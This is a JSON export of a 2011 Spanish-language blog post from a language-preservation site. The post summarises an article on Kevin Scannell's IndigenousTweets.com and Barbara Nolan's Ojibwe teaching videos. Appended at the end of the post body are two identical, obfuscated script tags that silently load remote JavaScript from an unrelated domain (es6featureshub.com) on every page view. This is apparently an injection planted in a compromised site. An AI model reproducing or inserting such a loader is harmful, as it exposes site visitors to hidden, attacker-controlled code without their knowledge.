{"id":52194,"date":"2011-07-03T16:43:46","date_gmt":"2011-07-03T14:43:46","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=52194"},"modified":"2025-10-21T22:31:47","modified_gmt":"2025-10-21T20:31:47","slug":"14-de-junio-del-2011-articulo-en-el-sitio-indian-country-acerca-de-los-medios-de-comunicacion-sociales-en-ayuda-de-las-lenguas-autoctonas","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/07\/14-de-junio-del-2011-articulo-en-el-sitio-indian-country-acerca-de-los-medios-de-comunicacion-sociales-en-ayuda-de-las-lenguas-autoctonas\/","title":{"rendered":"14 de junio del 2011: art\u00edculo en el sitio <i>Indian Country<\/i> acerca de los medios de comunicaci\u00f3n sociales en ayuda de las lenguas aut\u00f3ctonas"},"content":{"rendered":"<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-52084\" title=\"IndianCountry1\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/IndianCountry1.jpg\" alt=\"IndianCountry1\" width=\"293\" height=\"74\" \/><\/p>\n<p style=\"text-align: justify;\"><em><strong>Indian Country<\/strong><\/em> nos cuenta la historia de un profesor de matem\u00e1ticas de la Universidad de San Luis, en los Estados Unidos, al que no le hace falta imaginaci\u00f3n para dar de nuevo vida a las lenguas en peligro.<\/p>\n<p style=\"text-align: justify;\">De origen irland\u00e9s, <strong>Kevin Scannell<\/strong> creci\u00f3 en Boston pero decidi\u00f3 encontrar sus ra\u00edces una vez terminados sus estudios universitarios. As\u00ed pues, aprendi\u00f3 del ga\u00e9lico de Irlanda, un pa\u00eds a donde va cada a\u00f1o para estar en inmersi\u00f3n en la lengua de sus or\u00edgenes.<\/p>\n<p style=\"text-align: justify;\">Y es el ga\u00e9lico lo que lo hizo reflexionar en las otras <strong>lenguas en peligro<\/strong>, y a considerar que <strong>los instrumentos de la globalizaci\u00f3n podr\u00edan estar, no una amenaza suplementaria, sino una oportunidad para revitalizar estas lenguas<\/strong>, por lo menos entre las j\u00f3venes generaciones. As\u00ed pues, pas\u00f3 la \u00faltima d\u00e9cada creando instrumentos en l\u00ednea para las lenguas minoritarias.<\/p>\n<p style=\"text-align: justify;\">\n<div id=\"attachment_52085\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-52085\" class=\"size-full wp-image-52085\" title=\"KevinScannell by JohnSchreiber\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/KevinScannell-by-JohnSchreiber.jpg\" alt=\"Kevin Scannell fotografiado por John Schreiber\" width=\"300\" height=\"196\" \/><p id=\"caption-attachment-52085\" class=\"wp-caption-text\">Kevin Scannell fotografiado por John Schreiber<\/p><\/div>\n<p style=\"text-align: justify;\">Su primera haza\u00f1a es la traducci\u00f3n del buscador Mozilla Firefox en irland\u00e9s hace 4 a\u00f1os. Y luego, de creaci\u00f3n de programas en creaci\u00f3n de programas, acaba estudiando Twitter, un instrumento qu\u00e9 cuenta no menos de \u00a1175 millones de cuentas (muchas de ellas inactivas) a trav\u00e9s del mundo! Lanza as\u00ed, en marzo pasado, el sitio <strong><em><a href=\"http:\/\/indigenoustweets.com\/\" target=\"_blank\">IndigenousTweets.com<\/a><\/em><\/strong> cuyo fin es ayudar a las lenguas aut\u00f3ctonas a que se desarrollen conect\u00e1ndose a los usuarios de <strong>Twitter<\/strong> que hablan estas lenguas. El principio es simple: uno se conecta, identifica a otros usuarios que tweet\u00e9en en la lengua buscada, se inscribe como follower \u00bb y comenzamos entonces a recibir los tweets\u2026<\/p>\n<p style=\"text-align: justify;\">\u00a1El sitio arranc\u00f3 con 35 lenguas, y al cabo de dos meses ya hab\u00eda cerca de <strong>100<\/strong>, de todos los continentes! Y, peque\u00f1a originalidad para sazonar las b\u00fasquedas: <strong>\u00a1los nombres de las lenguas est\u00e1n escritos en versi\u00f3n original!<\/strong> Es decir que si se sigue la lista de las lenguas m\u00e1s tweeteadas, se encuentran en primera posici\u00f3n el kreyol Ayisyen (criollo haitiano), luego el euskara (vasco), el cymraeg (gal\u00e9s), el frysk (fris\u00f3n), el setsuana (lengua de Botsuana), el hausa, el pampango (lengua de los filipinos) etc.\u2026<\/p>\n<p style=\"text-align: justify;\">Muy positivo, Kevin Scannell afirma que \u00bb internet es un instrumento que podemos utilizar para combatir la globalizaci\u00f3n y la colonizaci\u00f3n. Es importante que la gente utilice su lengua si quieren que sobreviva. Internet, los sitios como Twitter y Facebook, los blogs y los e-mails, le dan a la gente la oportunidad a escribir, de charlar y de ser creativas utilizando su lengua de modo natural\u00bb.<\/p>\n<p style=\"text-align: justify;\">Algunos objetan por supuesto que estos instrumentos se dirigen s\u00f3lo a los j\u00f3venes, mientras que a menudo los que hablan de lenguas en peligro tienen edad m\u00e1s avanzada y rechazan la tecnolog\u00eda. Pero el art\u00edculo cita como contra ejemplo a <strong>Barbara Nolan<\/strong>, una mujer Nishnaabe-kwe de 64 a\u00f1os que vive en Ontario: Barbara ense\u00f1\u00f3 primeramente su lengua de modo convencional en la escuela, luego particip\u00f3 en el desarrollo de estudios universitarios de aprendizaje, ense\u00f1\u00f3 en inmersi\u00f3n etc. antes de lanzarse\u2026\u00a1en Internet! Cre\u00f3 y dirige desde hoy un sitio, <strong><em><a href=\"http:\/\/barbaranolan.com\/\" target=\"_blank\">BarbaraNolan.com<\/a><\/em><\/strong>, \u00a1qu\u00e9 ense\u00f1a el anishinaabemowin (ojibwa) a trav\u00e9s de v\u00eddeos!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/indiancountrytodaymedianetwork.com\/2011\/06\/tweet-hereafter-social-media-is-saving-native-languages\/\" target=\"_blank\">Para leer el art\u00edculo completo<\/a><\/p>\n<p style=\"text-align: justify;\">Para enlistar su lengua en el sitio IndigenousTweets.com, contactar a <a href=\"mailto:kscanne@gmail.com\">Kevin Scannell<\/a>.<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Indian Country nos cuenta la historia de un profesor de matem\u00e1ticas de la Universidad de San Luis, en los Estados Unidos, al que no le hace falta imaginaci\u00f3n para dar de nuevo vida a las lenguas en peligro. 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